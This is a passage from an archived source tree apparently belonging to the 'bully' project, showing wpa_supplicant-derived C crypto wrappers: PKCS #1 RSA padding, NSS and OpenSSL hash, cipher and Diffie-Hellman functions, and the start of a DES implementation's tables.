if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) {
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer "
"lengths (modlen=%lu outlen=%lu inlen=%lu)",
__func__, (unsigned long) modlen,
(unsigned long) *outlen,
(unsigned long) inlen);
return -1;
}
pos = out;
*pos++ = 0x00;
*pos++ = block_type; /* BT */
ps_len = modlen - inlen - 3;
switch (block_type) {
case 0:
os_memset(pos, 0x00, ps_len);
pos += ps_len;
break;
case 1:
os_memset(pos, 0xff, ps_len);
pos += ps_len;
break;
case 2:
if (os_get_random(pos, ps_len) < 0) {
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get "
"random data for PS", __func__);
return -1;
}
while (ps_len--) {
if (*pos == 0x00)
*pos = 0x01;
pos++;
}
break;
default:
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type "
"%d", __func__, block_type);
return -1;
}
*pos++ = 0x00;
os_memcpy(pos, in, inlen); /* D */
return 0;
}
static int crypto_rsa_encrypt_pkcs1(int block_type, rsa_key *key, int key_type,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
unsigned long len, modlen;
int res;
modlen = mp_unsigned_bin_size(key->N);
if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen,
out, outlen) < 0)
return -1;
len = *outlen;
res = rsa_exptmod(out, modlen, out, &len, key_type, key);
if (res != CRYPT_OK) {
wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s",
error_to_string(res));
return -1;
}
*outlen = len;
return 0;
}
int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
return crypto_rsa_encrypt_pkcs1(2, &key->rsa, PK_PUBLIC, in, inlen,
out, outlen);
}
int crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
return crypto_rsa_encrypt_pkcs1(1, &key->rsa, PK_PRIVATE, in, inlen,
out, outlen);
}
void crypto_public_key_free(struct crypto_public_key *key)
{
if (key) {
rsa_free(&key->rsa);
os_free(key);
}
}
void crypto_private_key_free(struct crypto_private_key *key)
{
if (key) {
rsa_free(&key->rsa);
os_free(key);
}
}
int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key,
const u8 *crypt, size_t crypt_len,
u8 *plain, size_t *plain_len)
{
int res;
unsigned long len;
u8 *pos;
len = *plain_len;
res = rsa_exptmod(crypt, crypt_len, plain, &len, PK_PUBLIC,
&key->rsa);
if (res != CRYPT_OK) {
wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s",
error_to_string(res));
return -1;
}
/*
* PKCS #1 v1.5, 8.1:
*
* EB = 00 || BT || PS || 00 || D
* BT = 01
* PS = k-3-||D|| times FF
* k = length of modulus in octets
*/
if (len < 3 + 8 + 16 /* min hash len */ ||
plain[0] != 0x00 || plain[1] != 0x01 || plain[2] != 0xff) {
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB "
"structure");
return -1;
}
pos = plain + 3;
while (pos < plain + len && *pos == 0xff)
pos++;
if (pos - plain - 2 < 8) {
/* PKCS #1 v1.5, 8.1: At least eight octets long PS */
wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature "
"padding");
return -1;
}
if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) {
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB "
"structure (2)");
return -1;
}
pos++;
len -= pos - plain;
/* Strip PKCS #1 header */
os_memmove(plain, pos, len);
*plain_len = len;
return 0;
}
int crypto_global_init(void)
{
ltc_mp = tfm_desc;
/* TODO: only register algorithms that are really needed */
if (register_hash(&md4_desc) < 0 ||
register_hash(&md5_desc) < 0 ||
register_hash(&sha1_desc) < 0 ||
register_cipher(&aes_desc) < 0 ||
register_cipher(&des_desc) < 0 ||
register_cipher(&des3_desc) < 0) {
wpa_printf(MSG_ERROR, "TLSv1: Failed to register "
"hash/cipher functions");
return -1;
}
return 0;
}
void crypto_global_deinit(void)
{
}
#ifdef CONFIG_MODEXP
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
void *b, *p, *m, *r;
if (mp_init_multi(&b, &p, &m, &r, NULL) != CRYPT_OK)
return -1;
if (mp_read_unsigned_bin(b, (u8 *) base, base_len) != CRYPT_OK ||
mp_read_unsigned_bin(p, (u8 *) power, power_len) != CRYPT_OK ||
mp_read_unsigned_bin(m, (u8 *) modulus, modulus_len) != CRYPT_OK)
goto fail;
if (mp_exptmod(b, p, m, r) != CRYPT_OK)
goto fail;
*result_len = mp_unsigned_bin_size(r);
if (mp_to_unsigned_bin(r, result) != CRYPT_OK)
goto fail;
mp_clear_multi(b, p, m, r, NULL);
return 0;
fail:
mp_clear_multi(b, p, m, r, NULL);
return -1;
}
#endif /* CONFIG_MODEXP */
bully-1.4-00/src/crypto/crypto_none.c 0000775 0000000 0000000 00000001236 13615304636 0017550 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant / Empty template functions for crypto wrapper
* Copyright (c) 2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return 0;
}
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
}
bully-1.4-00/src/crypto/crypto_nss.c 0000775 0000000 0000000 00000010050 13615304636 0017406 0 ustar 00root root 0000000 0000000 /*
* Crypto wrapper functions for NSS
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "common.h"
#include "crypto.h"
static int nss_hash(HASH_HashType type, unsigned int max_res_len,
size_t num_elem, const u8 *addr[], const size_t *len,
u8 *mac)
{
HASHContext *ctx;
size_t i;
unsigned int reslen;
ctx = HASH_Create(type);
if (ctx == NULL)
return -1;
HASH_Begin(ctx);
for (i = 0; i < num_elem; i++)
HASH_Update(ctx, addr[i], len[i]);
HASH_End(ctx, mac, &reslen, max_res_len);
HASH_Destroy(ctx);
return 0;
}
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
PK11Context *ctx = NULL;
PK11SlotInfo *slot;
SECItem *param = NULL;
PK11SymKey *symkey = NULL;
SECItem item;
int olen;
u8 pkey[8], next, tmp;
int i;
/* Add parity bits to the key */
next = 0;
for (i = 0; i < 7; i++) {
tmp = key[i];
pkey[i] = (tmp >> i) | next | 1;
next = tmp << (7 - i);
}
pkey[i] = next | 1;
slot = PK11_GetBestSlot(CKM_DES_ECB, NULL);
if (slot == NULL) {
wpa_printf(MSG_ERROR, "NSS: PK11_GetBestSlot failed");
goto out;
}
item.type = siBuffer;
item.data = pkey;
item.len = 8;
symkey = PK11_ImportSymKey(slot, CKM_DES_ECB, PK11_OriginDerive,
CKA_ENCRYPT, &item, NULL);
if (symkey == NULL) {
wpa_printf(MSG_ERROR, "NSS: PK11_ImportSymKey failed");
goto out;
}
param = PK11_GenerateNewParam(CKM_DES_ECB, symkey);
if (param == NULL) {
wpa_printf(MSG_ERROR, "NSS: PK11_GenerateNewParam failed");
goto out;
}
ctx = PK11_CreateContextBySymKey(CKM_DES_ECB, CKA_ENCRYPT,
symkey, param);
if (ctx == NULL) {
wpa_printf(MSG_ERROR, "NSS: PK11_CreateContextBySymKey("
"CKM_DES_ECB) failed");
goto out;
}
if (PK11_CipherOp(ctx, cypher, &olen, 8, (void *) clear, 8) !=
SECSuccess) {
wpa_printf(MSG_ERROR, "NSS: PK11_CipherOp failed");
goto out;
}
out:
if (ctx)
PK11_DestroyContext(ctx, PR_TRUE);
if (symkey)
PK11_FreeSymKey(symkey);
if (param)
SECITEM_FreeItem(param, PR_TRUE);
}
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
u8 *data, size_t data_len)
{
return -1;
}
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nss_hash(HASH_AlgMD5, 16, num_elem, addr, len, mac);
}
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return nss_hash(HASH_AlgSHA1, 20, num_elem, addr, len, mac);
}
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
u8 *mac)
{
return nss_hash(HASH_AlgSHA256, 32, num_elem, addr, len, mac);
}
void * aes_encrypt_init(const u8 *key, size_t len)
{
return NULL;
}
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
{
}
void aes_encrypt_deinit(void *ctx)
{
}
void * aes_decrypt_init(const u8 *key, size_t len)
{
return NULL;
}
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
{
}
void aes_decrypt_deinit(void *ctx)
{
}
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
return -1;
}
struct crypto_cipher {
};
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len)
{
return NULL;
}
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
u8 *crypt, size_t len)
{
return -1;
}
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
u8 *plain, size_t len)
{
return -1;
}
void crypto_cipher_deinit(struct crypto_cipher *ctx)
{
}
bully-1.4-00/src/crypto/crypto_openssl.c 0000775 0000000 0000000 00000026071 13615304636 0020300 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant / wrapper functions for libcrypto
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include
#include
#include
#include
#include
#include
#include "common.h"
#include "wpabuf.h"
#include "dh_group5.h"
#include "crypto.h"
#if OPENSSL_VERSION_NUMBER < 0x00907000
#define DES_key_schedule des_key_schedule
#define DES_cblock des_cblock
#define DES_set_key(key, schedule) des_set_key((key), *(schedule))
#define DES_ecb_encrypt(input, output, ks, enc) \
des_ecb_encrypt((input), (output), *(ks), (enc))
#endif /* openssl < 0.9.7 */
static BIGNUM * get_group5_prime(void)
{
#if OPENSSL_VERSION_NUMBER < 0x00908000
static const unsigned char RFC3526_PRIME_1536[] = {
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xC9,0x0F,0xDA,0xA2,
0x21,0x68,0xC2,0x34,0xC4,0xC6,0x62,0x8B,0x80,0xDC,0x1C,0xD1,
0x29,0x02,0x4E,0x08,0x8A,0x67,0xCC,0x74,0x02,0x0B,0xBE,0xA6,
0x3B,0x13,0x9B,0x22,0x51,0x4A,0x08,0x79,0x8E,0x34,0x04,0xDD,
0xEF,0x95,0x19,0xB3,0xCD,0x3A,0x43,0x1B,0x30,0x2B,0x0A,0x6D,
0xF2,0x5F,0x14,0x37,0x4F,0xE1,0x35,0x6D,0x6D,0x51,0xC2,0x45,
0xE4,0x85,0xB5,0x76,0x62,0x5E,0x7E,0xC6,0xF4,0x4C,0x42,0xE9,
0xA6,0x37,0xED,0x6B,0x0B,0xFF,0x5C,0xB6,0xF4,0x06,0xB7,0xED,
0xEE,0x38,0x6B,0xFB,0x5A,0x89,0x9F,0xA5,0xAE,0x9F,0x24,0x11,
0x7C,0x4B,0x1F,0xE6,0x49,0x28,0x66,0x51,0xEC,0xE4,0x5B,0x3D,
0xC2,0x00,0x7C,0xB8,0xA1,0x63,0xBF,0x05,0x98,0xDA,0x48,0x36,
0x1C,0x55,0xD3,0x9A,0x69,0x16,0x3F,0xA8,0xFD,0x24,0xCF,0x5F,
0x83,0x65,0x5D,0x23,0xDC,0xA3,0xAD,0x96,0x1C,0x62,0xF3,0x56,
0x20,0x85,0x52,0xBB,0x9E,0xD5,0x29,0x07,0x70,0x96,0x96,0x6D,
0x67,0x0C,0x35,0x4E,0x4A,0xBC,0x98,0x04,0xF1,0x74,0x6C,0x08,
0xCA,0x23,0x73,0x27,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
};
return BN_bin2bn(RFC3526_PRIME_1536, sizeof(RFC3526_PRIME_1536), NULL);
#else /* openssl < 0.9.8 */
return get_rfc3526_prime_1536(NULL);
#endif /* openssl < 0.9.8 */
}
#if OPENSSL_VERSION_NUMBER < 0x00908000
#ifndef OPENSSL_NO_SHA256
#ifndef OPENSSL_FIPS
#define NO_SHA256_WRAPPER
#endif
#endif
#endif /* openssl < 0.9.8 */
#ifdef OPENSSL_NO_SHA256
#define NO_SHA256_WRAPPER
#endif
static int openssl_digest_vector(const EVP_MD *type, int non_fips,
size_t num_elem, const u8 *addr[],
const size_t *len, u8 *mac)
{
EVP_MD_CTX ctx;
size_t i;
unsigned int mac_len;
EVP_MD_CTX_init(&ctx);
#ifdef CONFIG_FIPS
#ifdef OPENSSL_FIPS
if (non_fips)
EVP_MD_CTX_set_flags(&ctx, EVP_MD_CTX_FLAG_NON_FIPS_ALLOW);
#endif /* OPENSSL_FIPS */
#endif /* CONFIG_FIPS */
if (!EVP_DigestInit_ex(&ctx, type, NULL)) {
wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestInit_ex failed: %s",
ERR_error_string(ERR_get_error(), NULL));
return -1;
}
for (i = 0; i < num_elem; i++) {
if (!EVP_DigestUpdate(&ctx, addr[i], len[i])) {
wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestUpdate "
"failed: %s",
ERR_error_string(ERR_get_error(), NULL));
return -1;
}
}
if (!EVP_DigestFinal(&ctx, mac, &mac_len)) {
wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestFinal failed: %s",
ERR_error_string(ERR_get_error(), NULL));
return -1;
}
return 0;
}
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return openssl_digest_vector(EVP_md4(), 0, num_elem, addr, len, mac);
}
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
u8 pkey[8], next, tmp;
int i;
DES_key_schedule ks;
/* Add parity bits to the key */
next = 0;
for (i = 0; i < 7; i++) {
tmp = key[i];
pkey[i] = (tmp >> i) | next | 1;
next = tmp << (7 - i);
}
pkey[i] = next | 1;
DES_set_key(&pkey, &ks);
DES_ecb_encrypt((DES_cblock *) clear, (DES_cblock *) cypher, &ks,
DES_ENCRYPT);
}
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
u8 *data, size_t data_len)
{
#ifdef OPENSSL_NO_RC4
return -1;
#else /* OPENSSL_NO_RC4 */
EVP_CIPHER_CTX ctx;
int outl;
int res = -1;
unsigned char skip_buf[16];
EVP_CIPHER_CTX_init(&ctx);
if (!EVP_CIPHER_CTX_set_padding(&ctx, 0) ||
!EVP_CipherInit_ex(&ctx, EVP_rc4(), NULL, NULL, NULL, 1) ||
!EVP_CIPHER_CTX_set_key_length(&ctx, keylen) ||
!EVP_CipherInit_ex(&ctx, NULL, NULL, key, NULL, 1))
goto out;
while (skip >= sizeof(skip_buf)) {
size_t len = skip;
if (len > sizeof(skip_buf))
len = sizeof(skip_buf);
if (!EVP_CipherUpdate(&ctx, skip_buf, &outl, skip_buf, len))
goto out;
skip -= len;
}
if (EVP_CipherUpdate(&ctx, data, &outl, data, data_len))
res = 0;
out:
EVP_CIPHER_CTX_cleanup(&ctx);
return res;
#endif /* OPENSSL_NO_RC4 */
}
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return openssl_digest_vector(EVP_md5(), 0, num_elem, addr, len, mac);
}
#ifdef CONFIG_FIPS
int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[],
const size_t *len, u8 *mac)
{
return openssl_digest_vector(EVP_md5(), 1, num_elem, addr, len, mac);
}
#endif /* CONFIG_FIPS */
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return openssl_digest_vector(EVP_sha1(), 0, num_elem, addr, len, mac);
}
#ifndef NO_SHA256_WRAPPER
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
u8 *mac)
{
return openssl_digest_vector(EVP_sha256(), 0, num_elem, addr, len,
mac);
}
#endif /* NO_SHA256_WRAPPER */
void * aes_encrypt_init(const u8 *key, size_t len)
{
AES_KEY *ak;
ak = os_malloc(sizeof(*ak));
if (ak == NULL)
return NULL;
if (AES_set_encrypt_key(key, 8 * len, ak) < 0) {
os_free(ak);
return NULL;
}
return ak;
}
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
{
AES_encrypt(plain, crypt, ctx);
}
void aes_encrypt_deinit(void *ctx)
{
os_free(ctx);
}
void * aes_decrypt_init(const u8 *key, size_t len)
{
AES_KEY *ak;
ak = os_malloc(sizeof(*ak));
if (ak == NULL)
return NULL;
if (AES_set_decrypt_key(key, 8 * len, ak) < 0) {
os_free(ak);
return NULL;
}
return ak;
}
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
{
AES_decrypt(crypt, plain, ctx);
}
void aes_decrypt_deinit(void *ctx)
{
os_free(ctx);
}
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
BIGNUM *bn_base, *bn_exp, *bn_modulus, *bn_result;
int ret = -1;
BN_CTX *ctx;
ctx = BN_CTX_new();
if (ctx == NULL)
return -1;
bn_base = BN_bin2bn(base, base_len, NULL);
bn_exp = BN_bin2bn(power, power_len, NULL);
bn_modulus = BN_bin2bn(modulus, modulus_len, NULL);
bn_result = BN_new();
if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL ||
bn_result == NULL)
goto error;
if (BN_mod_exp(bn_result, bn_base, bn_exp, bn_modulus, ctx) != 1)
goto error;
*result_len = BN_bn2bin(bn_result, result);
ret = 0;
error:
BN_free(bn_base);
BN_free(bn_exp);
BN_free(bn_modulus);
BN_free(bn_result);
BN_CTX_free(ctx);
return ret;
}
struct crypto_cipher {
EVP_CIPHER_CTX enc;
EVP_CIPHER_CTX dec;
};
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len)
{
struct crypto_cipher *ctx;
const EVP_CIPHER *cipher;
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
switch (alg) {
#ifndef OPENSSL_NO_RC4
case CRYPTO_CIPHER_ALG_RC4:
cipher = EVP_rc4();
break;
#endif /* OPENSSL_NO_RC4 */
#ifndef OPENSSL_NO_AES
case CRYPTO_CIPHER_ALG_AES:
switch (key_len) {
case 16:
cipher = EVP_aes_128_cbc();
break;
case 24:
cipher = EVP_aes_192_cbc();
break;
case 32:
cipher = EVP_aes_256_cbc();
break;
default:
os_free(ctx);
return NULL;
}
break;
#endif /* OPENSSL_NO_AES */
#ifndef OPENSSL_NO_DES
case CRYPTO_CIPHER_ALG_3DES:
cipher = EVP_des_ede3_cbc();
break;
case CRYPTO_CIPHER_ALG_DES:
cipher = EVP_des_cbc();
break;
#endif /* OPENSSL_NO_DES */
#ifndef OPENSSL_NO_RC2
case CRYPTO_CIPHER_ALG_RC2:
cipher = EVP_rc2_ecb();
break;
#endif /* OPENSSL_NO_RC2 */
default:
os_free(ctx);
return NULL;
}
EVP_CIPHER_CTX_init(&ctx->enc);
EVP_CIPHER_CTX_set_padding(&ctx->enc, 0);
if (!EVP_EncryptInit_ex(&ctx->enc, cipher, NULL, NULL, NULL) ||
!EVP_CIPHER_CTX_set_key_length(&ctx->enc, key_len) ||
!EVP_EncryptInit_ex(&ctx->enc, NULL, NULL, key, iv)) {
EVP_CIPHER_CTX_cleanup(&ctx->enc);
os_free(ctx);
return NULL;
}
EVP_CIPHER_CTX_init(&ctx->dec);
EVP_CIPHER_CTX_set_padding(&ctx->dec, 0);
if (!EVP_DecryptInit_ex(&ctx->dec, cipher, NULL, NULL, NULL) ||
!EVP_CIPHER_CTX_set_key_length(&ctx->dec, key_len) ||
!EVP_DecryptInit_ex(&ctx->dec, NULL, NULL, key, iv)) {
EVP_CIPHER_CTX_cleanup(&ctx->enc);
EVP_CIPHER_CTX_cleanup(&ctx->dec);
os_free(ctx);
return NULL;
}
return ctx;
}
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
u8 *crypt, size_t len)
{
int outl;
if (!EVP_EncryptUpdate(&ctx->enc, crypt, &outl, plain, len))
return -1;
return 0;
}
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
u8 *plain, size_t len)
{
int outl;
outl = len;
if (!EVP_DecryptUpdate(&ctx->dec, plain, &outl, crypt, len))
return -1;
return 0;
}
void crypto_cipher_deinit(struct crypto_cipher *ctx)
{
EVP_CIPHER_CTX_cleanup(&ctx->enc);
EVP_CIPHER_CTX_cleanup(&ctx->dec);
os_free(ctx);
}
void * dh5_init(struct wpabuf **priv, struct wpabuf **publ)
{
DH *dh;
struct wpabuf *pubkey = NULL, *privkey = NULL;
size_t publen, privlen;
*priv = NULL;
*publ = NULL;
dh = DH_new();
if (dh == NULL)
return NULL;
dh->g = BN_new();
if (dh->g == NULL || BN_set_word(dh->g, 2) != 1)
goto err;
dh->p = get_group5_prime();
if (dh->p == NULL)
goto err;
if (DH_generate_key(dh) != 1)
goto err;
publen = BN_num_bytes(dh->pub_key);
pubkey = wpabuf_alloc(publen);
if (pubkey == NULL)
goto err;
privlen = BN_num_bytes(dh->priv_key);
privkey = wpabuf_alloc(privlen);
if (privkey == NULL)
goto err;
BN_bn2bin(dh->pub_key, wpabuf_put(pubkey, publen));
BN_bn2bin(dh->priv_key, wpabuf_put(privkey, privlen));
*priv = privkey;
*publ = pubkey;
return dh;
err:
wpabuf_free(pubkey);
wpabuf_free(privkey);
DH_free(dh);
return NULL;
}
struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public,
const struct wpabuf *own_private)
{
BIGNUM *pub_key;
struct wpabuf *res = NULL;
size_t rlen;
DH *dh = ctx;
int keylen;
if (ctx == NULL)
return NULL;
pub_key = BN_bin2bn(wpabuf_head(peer_public), wpabuf_len(peer_public),
NULL);
if (pub_key == NULL)
return NULL;
rlen = DH_size(dh);
res = wpabuf_alloc(rlen);
if (res == NULL)
goto err;
keylen = DH_compute_key(wpabuf_mhead(res), pub_key, dh);
if (keylen < 0)
goto err;
wpabuf_put(res, keylen);
BN_free(pub_key);
return res;
err:
BN_free(pub_key);
wpabuf_free(res);
return NULL;
}
void dh5_free(void *ctx)
{
DH *dh;
if (ctx == NULL)
return;
dh = ctx;
DH_free(dh);
}
bully-1.4-00/src/crypto/des-internal.c 0000775 0000000 0000000 00000036055 13615304636 0017605 0 ustar 00root root 0000000 0000000 /*
* DES and 3DES-EDE ciphers
*
* Modifications to LibTomCrypt implementation:
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "des_i.h"
/*
* This implementation is based on a DES implementation included in
* LibTomCrypt. The version here is modified to fit in wpa_supplicant/hostapd
* coding style.
*/
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*
* Tom St Denis, tomstdenis@gmail.com, http://libtomcrypt.com
*/
/**
DES code submitted by Dobes Vandermeer
*/
#define ROLc(x, y) \
((((unsigned long) (x) << (unsigned long) ((y) & 31)) | \
(((unsigned long) (x) & 0xFFFFFFFFUL) >> \
(unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL)
#define RORc(x, y) \
(((((unsigned long) (x) & 0xFFFFFFFFUL) >> \
(unsigned long) ((y) & 31)) | \
((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & \
0xFFFFFFFFUL)
static const u32 bytebit[8] =
{
0200, 0100, 040, 020, 010, 04, 02, 01
};
static const u32 bigbyte[24] =
{
0x800000UL, 0x400000UL, 0x200000UL, 0x100000UL,
0x80000UL, 0x40000UL, 0x20000UL, 0x10000UL,
0x8000UL, 0x4000UL, 0x2000UL, 0x1000UL,
0x800UL, 0x400UL, 0x200UL, 0x100UL,
0x80UL, 0x40UL, 0x20UL, 0x10UL,
0x8UL, 0x4UL, 0x2UL, 0x1L
};
/* Use the key schedule specific in the standard (ANSI X3.92-1981) */
static const u8 pc1[56] = {
56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3
};
static const u8 totrot[16] = {
1, 2, 4, 6,
8, 10, 12, 14,
15, 17, 19, 21,
23, 25, 27, 28
};
static const u8 pc2[48] = {
13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31
};
static const u32 SP1[64] =
{
0x01010400UL, 0x00000000UL, 0x00010000UL, 0x01010404UL,
0x01010004UL, 0x00010404UL, 0x00000004UL, 0x00010000UL,
0x00000400UL, 0x01010400UL, 0x01010404UL, 0x00000400UL,
0x01000404UL, 0x01010004UL, 0x01000000UL, 0x00000004UL,
0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00010400UL,
0x00010400UL, 0x01010000UL, 0x01010000UL, 0x01000404UL,
0x00010004UL, 0x01000004UL, 0x01000004UL, 0x00010004UL,
0x00000000UL, 0x00000404UL, 0x00010404UL, 0x01000000UL,
0x00010000UL, 0x01010404UL, 0x00000004UL, 0x01010000UL,
0x01010400UL, 0x01000000UL, 0x01000000UL, 0x00000400UL,
0x01010004UL, 0x00010000UL, 0x00010400UL, 0x01000004UL,
0x00000400UL, 0x00000004UL, 0x01000404UL, 0x00010404UL,
0x01010404UL, 0x00010004UL, 0x01010000UL, 0x01000404UL,
0x01000004UL, 0x00000404UL, 0x00010404UL, 0x01010400UL,
0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00000000UL,
0x00010004UL, 0x00010400UL, 0x00000000UL, 0x01010004UL
};
static const u32 SP2[64] =
{
0x80108020UL, 0x80008000UL, 0x00008000UL, 0x00108020UL,
0x00100000UL, 0x00000020UL, 0x80100020UL, 0x80008020UL,
0x80000020UL, 0x80108020UL, 0x80108000UL, 0x80000000UL,
0x80008000UL, 0x00100000UL, 0x00000020UL, 0x80100020UL,
0x00108000UL, 0x00100020UL, 0x80008020UL, 0x00000000UL,
0x80000000UL, 0x00008000UL, 0x00108020UL, 0x80100000UL,
0x00100020UL, 0x80000020UL, 0x00000000UL, 0x00108000UL,
0x00008020UL, 0x80108000UL, 0x80100000UL, 0x00008020UL,
0x00000000UL, 0x00108020UL, 0x80100020UL, 0x00100000UL,
0x80008020UL, 0x80100000UL, 0x80108000UL, 0x00008000UL,
0x80100000UL, 0x80008000UL, 0x00000020UL, 0x80108020UL,
0x00108020UL, 0x00000020UL, 0x00008000UL, 0x80000000UL,
0x00008020UL, 0x80108000UL, 0x00100000UL, 0x80000020UL,
0x00100020UL, 0x80008020UL, 0x80000020UL, 0x00100020UL,
0x00108000UL, 0x00000000UL, 0x80008000UL, 0x00008020UL,
0x80000000UL, 0x80100020UL, 0x80108020UL, 0x00108000UL
};
static const u32 SP3[64] =
{
0x00000208UL, 0x08020200UL, 0x00000000UL, 0x08020008UL,
0x08000200UL, 0x00000000UL, 0x00020208UL, 0x08000200UL,
0x00020008UL, 0x08000008UL, 0x08000008UL, 0x00020000UL,
0x08020208UL, 0x00020008UL, 0x08020000UL, 0x00000208UL,
0x08000000UL, 0x00000008UL, 0x08020200UL, 0x00000200UL,
0x00020200UL, 0x08020000UL, 0x08020008UL, 0x00020208UL,
0x08000208UL, 0x00020200UL, 0x00020000UL, 0x08000208UL,
0x00000008UL, 0x08020208UL, 0x00000200UL, 0x08000000UL,
0x08020200UL, 0x08000000UL, 0x00020008UL, 0x00000208UL,
0x00020000UL, 0x08020200UL, 0x08000200UL, 0x00000000UL,
0x00000200UL, 0x00020008UL, 0x08020208UL, 0x08000200UL,
0x08000008UL, 0x00000200UL, 0x00000000UL, 0x08020008UL,
0x08000208UL, 0x00020000UL, 0x08000000UL, 0x08020208UL,
0x00000008UL, 0x00020208UL, 0x00020200UL, 0x08000008UL,
0x08020000UL, 0x08000208UL, 0x00000208UL, 0x08020000UL,
0x00020208UL, 0x00000008UL, 0x08020008UL, 0x00020200UL
};
static const u32 SP4[64] =
{
0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL,
0x00802080UL, 0x00800081UL, 0x00800001UL, 0x00002001UL,
0x00000000UL, 0x00802000UL, 0x00802000UL, 0x00802081UL,
0x00000081UL, 0x00000000UL, 0x00800080UL, 0x00800001UL,
